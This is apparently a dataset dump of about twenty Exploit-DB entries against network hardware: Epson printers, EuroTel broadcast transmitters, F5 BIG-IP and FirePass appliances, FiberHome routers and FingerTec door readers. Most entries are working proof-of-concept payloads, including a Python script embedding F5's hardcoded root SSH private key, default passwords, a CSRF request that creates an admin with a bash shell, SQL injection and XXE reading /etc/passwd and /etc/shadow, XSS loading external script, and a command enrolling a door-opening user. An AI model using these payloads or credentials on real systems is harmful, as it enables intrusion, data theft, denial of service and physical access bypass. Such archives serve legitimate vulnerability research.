deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51441
Description: Epson Stylus SX510W Printer Remote Power Off - Denial of Service
Type: remote
Platform: hardware
Date: 2023-05-13
Author: Rafael Pedrero

Exploit:
# Exploit Title: Epson Stylus SX510W Printer Remote Power Off - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2020-05-16
# Vendor Homepage: https://www.epson.es/
# Software Link :
https://www.epson.es/products/printers/inkjet-printers/for-home/epson-stylus-sx510w
# Tested Version: EPSON_Linux UPnP/1.0 Epson UPnP SDK/1.0
# Tested on: Linux/Windows
# Vulnerability Type: Denial of Service (DoS)

1. Description

The vulnerability occurs when 2 or more &'s are sent to the server in a row
("/PRESENTATION/HTML/TOP/INDEX.HTML") causing it to shutdown.

2. Proof of Concept

Request:

curl -s "http://
<printer_ip_address>/PRESENTATION/HTML/TOP/INDEX.HTML?RELOAD=&&tm=[PII_REDACTED]49"

3. Solution:

This version product is deprecated.

-->
Exploit-DB #22244
Description: Ericsson HM220dp DSL Modem - World Accessible Web Administration Interface
Type: remote
Platform: hardware
Date: 2003-02-11
Author: Davide Del Vecchio

Exploit:
source: https://www.securityfocus.com/bid/6824/info

The Ericsson HM220dp DSL Modem uses a web interface for remote administration and configuration. This interface does not require any authentication in order to access. There is no option to enable any authentication requirement. 

[script]
function exploit(){
window.location = "view-source:http://www.example.com/dummy.html?reboot=1";
}
[/script]
[input type="button" value="disconnect" onClick="exploit();"]
Exploit-DB #51685
Description: EuroTel ETL3100 - Transmitter Authorization Bypass (IDOR)
Type: remote
Platform: hardware
Date: 2023-08-21
Author: LiquidWorm

Exploit:
# Exploit Title: EuroTel ETL3100 - Transmitter Authorization Bypass (IDOR)
# Exploit Author: LiquidWorm

Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L
Product web page: https://www.eurotel.it | https://www.siel.fm
Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) 
                  v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter)


Summary: RF Technology For Television Broadcasting Applications.
The Series ETL3100 Radio Transmitter provides all the necessary
features defined by the FM and DAB standards. Two bands are provided
to easily complain with analog and digital DAB standard. The Series
ETL3100 Television Transmitter provides all the necessary features
defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as
well as the analog TV standards. Three band are provided to easily
complain with all standard channels, and switch softly from analog-TV
'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission.

Desc: The application is vulnerable to insecure direct object references
that occur when the application provides direct access to objects based
on user-supplied input. As a result of this vulnerability attackers can
bypass authorization and access the hidden resources on the system and
execute privileged functionalities.

Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3)
           lighttpd/1.4.26
           PHP/5.4.3
           Xilinx Virtex Machine


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5783
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5783.php


29.04.2023

--


See URL:

TARGET/exciter.php?page=0
TARGET/exciter.php?page=1
TARGET/exciter.php?page=2
...
...
TARGET/exciter.php?page=29
TARGET/exciter.php?page=30
TARGET/exciter.php?page=31
Exploit-DB #51684
Description: EuroTel ETL3100 - Transmitter Default Credentials
Type: remote
Platform: hardware
Date: 2023-08-21
Author: LiquidWorm

Exploit:
#Exploit Title: EuroTel ETL3100 Transmitter Default Credentials
# Exploit Author: LiquidWorm
Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L
Product web page: https://www.eurotel.it | https://www.siel.fm
Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) 
                  v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter)


Summary: RF Technology For Television Broadcasting Applications.
The Series ETL3100 Radio Transmitter provides all the necessary
features defined by the FM and DAB standards. Two bands are provided
to easily complain with analog and digital DAB standard. The Series
ETL3100 Television Transmitter provides all the necessary features
defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as
well as the analog TV standards. Three band are provided to easily
complain with all standard channels, and switch softly from analog-TV
'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission.

Desc: The TV and FM transmitter uses a weak set of default administrative
credentials that can be guessed in remote password attacks and gain full
control of the system.

Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3)
           lighttpd/1.4.26
           PHP/5.4.3
           Xilinx Virtex Machine


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5782
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5782.php


29.04.2023

--


Using Username "user" and Password "etl3100rt1234" the operator will enter in the WEB interface in a read-only mode.
Using Username "operator" and Password "2euro21234" the operator will be able also to modify some parameters in the WEB pages.
Exploit-DB #51686
Description: EuroTel ETL3100 - Transmitter Unauthenticated Config/Log Download
Type: remote
Platform: hardware
Date: 2023-08-21
Author: LiquidWorm

Exploit:
# Exploit Title: EuroTel ETL3100 - Transmitter Unauthenticated Config/Log Download
# Exploit Author: LiquidWorm

Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L
Product web page: https://www.eurotel.it | https://www.siel.fm
Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) 
                  v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter)


Summary: RF Technology For Television Broadcasting Applications.
The Series ETL3100 Radio Transmitter provides all the necessary
features defined by the FM and DAB standards. Two bands are provided
to easily complain with analog and digital DAB standard. The Series
ETL3100 Television Transmitter provides all the necessary features
defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as
well as the analog TV standards. Three band are provided to easily
complain with all standard channels, and switch softly from analog-TV
'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission.

Desc: The TV and FM transmitter suffers from an unauthenticated
configuration and log download vulnerability. This will enable
the attacker to disclose sensitive information and help him in
authentication bypass, privilege escalation and full system access.

Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3)
           lighttpd/1.4.26
           PHP/5.4.3
           Xilinx Virtex Machine


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5784
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5784.php


29.04.2023

--


$ curl http://192.168.2.166/cfg_download.php -o config.tgz
$ curl http://192.168.2.166/exciter/log_download.php -o log.tar.gz
Exploit-DB #19091
Description: F5 BIG-IP - Authentication Bypass
Type: remote
Platform: hardware
Date: 2012-06-12
Author: David Kennedy (ReL1K)

Exploit:
#!/usr/bin/python
#
# Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py)
#
# Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass
# http://www.secmaniac.com
#
#
import subprocess,os
  
filewrite = file("priv.key", "w")
filewrite.write("""[CREDENTIAL_REDACTED]
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----""")
filewrite.close()
subprocess.Popen("chmod 700 priv.key", shell=True).wait()
  
ipaddr=raw_input("Enter the IP address of the F5: ")
subprocess.Popen("ssh -i priv.key root@%s" % (ipaddr), shell=True).wait()
 
if os.path.isfile("priv.key"):
    os.remove("priv.key")
Exploit-DB #34465
Description: F5 Big-IP - rsync Access
Type: remote
Platform: hardware
Date: 2014-08-29
Author: Security-Assessment.com

Exploit:
When configured in a high availability mode, the F5 solution suffers from an unauthenticated rsync access vulnerability that can be leveraged to upload a malicious SSH key and gain remote root access to the appliance.
The BigIP platform configures an rsync daemon listening on the ConfigSync interfaces when the system is configured in a failover mode. The rsync daemon as currently configured does not require any authentication and the “cmi” module has complete read/write access to the system. If the ConfigSync IP addresses are accessible by a malicious third party, it is possible to upload an authorized_keys file directly into the /var/ssh/root directory and then open a root SSH session on the f5 device.

Advisory: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34465.pdf
Exploit-DB #31024
Description: F5 BIG-IP 9.4.3 - 'SearchString' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: hardware
Date: 2008-01-14
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/27272/info

F5 BIG-IP is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BIG-IP firmware version 9.4.3 is vulnerable; other versions may also be affected.

https://www.example.com?SearchString=%22%20type=%22hidden%22%3E%3Cscript%3Ealert(%22list-xss%22)%3C/script%3E%3Cinput%20type=%22hidden%22%20value=%22
Exploit-DB #31364
Description: F5 BIG-IP 9.4.3 - Web Management Interface Console HTML Injection
Type: remote
Platform: hardware
Date: 2008-03-08
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/28151/info

F5 BIG-IP Web Management Interface is prone to a HTML-injection vulnerability because the web management interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The vulnerability affects F5 BIG-IP 9.4.3; other versions may be also affected.

https://(target)/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
Exploit-DB #31133
Description: F5 BIG-IP 9.4.3 - Web Management Interface Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2008-02-11
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/27720/info

F5 BIG-IP is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions on an affected device.

F5 BIG-IP 9.4.3 is vulnerable; other versions may also be affected. 

https://www.example.com/tmui/Control/form?handler=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe&handler_before=&form_page=%2Ftmui%2Fsystem%2Fbigpipe%2Fbigpipe.jsp%3F&form_page_before=&bigpipe_output=&bigpipe_cmd_validation=NO_VALIDATION&bigpipe_cmd_before=&bigpipe_cmd=user+testuser+password+none+testpwd+shell+%2Fbin%2Fbash+role+administrator+in+all
Exploit-DB #30755
Description: F5 FirePass 4100 SSL VPN - 'Download_Plugin.php3' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-11-12
Author: Jan Fry

Exploit:
source: https://www.securityfocus.com/bid/26412/info

F5 FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4 through 5.5.2
6.0
6.0.1

https://www.example.com/download_plugin.php3?js=&backurl=Ij48c2NyaXB0IHNyYz0iaHR0cDovL3d3dy5ldmlsLmZvby94c3MiPjwvc2NyaXB0PjxhIGhyZWY9Ig==
https://www.example.com/download_plugin.php3?js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i
Exploit-DB #27452
Description: F5 Firepass 4100 SSL VPN - Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2006-03-21
Author: ILION Research

Exploit:
source: https://www.securityfocus.com/bid/17175/info

FirePass 4100 SSL VPN is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

https://www.example.com/my.support.php3?c=1&s=username</title><img src=http://www.example.com/EXPLOIT.JS>&lang=en&charset=iso-8859-1&uilangchar=en.iso-8859-1
Exploit-DB #31886
Description: F5 FirePass 6.0.2.3 - '/vdesk/admincon/index.php?sql_matchscope' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-06-05
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/29574/info
 
F5 FirePass SSL VPN is prone to multiple cross-site request-forgery vulnerabilities because it fails to adequately sanitize user-supplied input.
 
Exploiting these issues may allow a remote attacker to execute arbitrary actions in the context of the affected application.
 
FirePass 6.0.2 hotfix 3 is vulnerable; other versions may also be affected.

https://www.example.com/vdesk/admincon/index.php?a=css&sub=sql&sql_matchscope=%22+onfocus%3Dalert%28%26quot%3BXSS2%26quot%3B%29+foo%3D%22&save_sql_matchscope=Update
Exploit-DB #31885
Description: F5 FirePass 6.0.2.3 - '/vdesk/admincon/webyfiers.php?css_exceptions' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-06-05
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/29574/info

F5 FirePass SSL VPN is prone to multiple cross-site request-forgery vulnerabilities because it fails to adequately sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to execute arbitrary actions in the context of the affected application.

FirePass 6.0.2 hotfix 3 is vulnerable; other versions may also be affected.

https://www.example.com/vdesk/admincon/webyfiers.php?a=css&click=1&css_exceptions=%22+onfocus%3Dalert%28%26quot%3BXSS1%26quot%3B%29+foo%3D%22&save_css_exceptions=Update
Exploit-DB #36995
Description: F5 FirePass 7.0 - SQL Injection
Type: remote
Platform: hardware
Date: 2012-03-14
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/52653/info

FirePass is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following versions of FirePass are affected:
6.0
6.0.1
6.0.2
6.0.2.3
6.0.3
6.1
7.0 

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
Exploit-DB #38233
Description: F5 Networks BIG-IP - XML External Entity Injection
Type: remote
Platform: hardware
Date: 2013-01-21
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/57496/info

F5 Networks BIG-IP is prone to an XML External Entity injection vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information from local files on computers running the vulnerable application and to carry out other attacks. 

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>


The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?>
<message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client
has sent unknown dialogueType '
root:--hash--:15490::::::
bin:*:15490::::::
daemon:*:15490::::::
adm:*:15490::::::
lp:*:15490::::::
mail:*:15490::::::
uucp:*:15490::::::
operator:*:15490::::::
nobody:*:15490::::::
tmshnobody:*:15490::::::
admin:--hash--:15490:0:99999:7:::
Exploit-DB #30834
Description: F5 Networks FirePass 4100 SSL VPN - 'Download_Plugin.php3' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-11-10
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26661/info

F5 Networks FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4.1 through 5.5.2
6.0 through 6.0.1

https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!--
Exploit-DB #31698
Description: F5 Networks FirePass 4100 SSL VPN - 'installControl.php3' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-04-23
Author: Alberto Cuesta Partida

Exploit:
source: https://www.securityfocus.com/bid/28902/info

F5 Networks FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

FirePass 4100 SSL VPN Firmware 5.4.2-5.5.2 and 6.0-6.2 are vulnerable. 

http://www.example.com/installControl.php3?1&%22%3E%3C/script%3E%3Ctextarea%3EHtml%20injection%3C/textarea%3E%3C!--= http://www.example.com/installControl.php3?>'"><script>alert(514)</script>
Exploit-DB #30833
Description: F5 Networks FirePass 4100 SSL VPN - 'My.Logon.php3' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-11-30
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/26659/info

F5 Networks FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 Networks FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4.1 through 5.5.2
6.0
6.0.1 

<html>

<iframe src="https://www.example.com/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement(&#039;script&#039;));xss.setAttribute(&#039;src&#039;,&#039;http://www.example2.com/b&#039;)"></iframe>

</html>

-----------------------------------------------

Proof of concept (PoC) URL:

https://www.example.com/my.logon.php3?"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!--

The payload in the example is 

"></script><textarea>HTML_injection_test&lt;/textarea&gt;<!--

which injects a &#039;textarea&#039; box
Exploit-DB #35597
Description: FiberHome HG-110 - Cross-Site Scripting / Directory Traversal
Type: remote
Platform: hardware
Date: 2011-04-08
Author: Zerial

Exploit:
source: https://www.securityfocus.com/bid/47277/info

Fiberhome HG-110 is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information, which may aid in launching further attacks.

Fiberhome HG-110 firmware 1.0.0 is vulnerable other versions may also be affected. 

The following example URIs are available:

http://www.example.com/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&var:menu=advanced&var:page=dns

Local File Include and Directory/Path Traversal:

-
http://www.example.com/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&var:menu=advanced&var:page=dns
Exploit-DB #39227
Description: FingerTec Fingerprint Reader - Remote Access and Remote Enrolment
Type: remote
Platform: hardware
Date: 2016-01-12
Author: Daniel Lawson

Exploit:
# Exploit Title: Default Root Password and Remote Enrollment on FingerTec Devices 
# Date: 12-01-2016 
# Exploit Author: Daniel Lawson 
# Contact: http://twitter.com/fang0654 
# Website: https://digital-panther.com 
# Category: physical access control 

1. Description 

Almost all FingerTec Access Control devices are running with open telnet, with a hardcoded default root password. Additionally, it is trivial to enroll a new administrative user on the device with a pin code or RFID card that will allow opening the door. 

2. Proof of Concept 

Login to telnet with the credentials: root / founder88 
At the console type in the command: 
echo -n -e \\\\x39\\\\x5\\\\x6\\\\x31\\\\x32\\\\x33\\\\x34\\\\x35\\\\x48\\\\x61\\\\x78\\\\x78\\\\x30\\\\x72\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x0\\\\x1\\\\x0\\\\x0\\\\x39\\\\x5\\\\x0\\\\x0 >> user.dat 
This will create a user named Haxx0r with an id of 1337 and a pin of 12345. 
--- 

Daniel Lawson 
Digital Panther Security 
https://digital-panther.com
Exploit-DB #37969
Description: FirePass 7.0 SSL VPN - 'refreshURL' Open Redirection
Type: remote
Platform: hardware
Date: 2012-10-21
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/56156/info

FirePass SSL VPN is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Versions prior to FirePass 7.0.0 HF-70-7 and 6.1.0 HF-610-9 are vulnerable. 

http://www.example.com/my.activation.cns.php3?langchar=&ui_translation=&refreshURL==http://attacker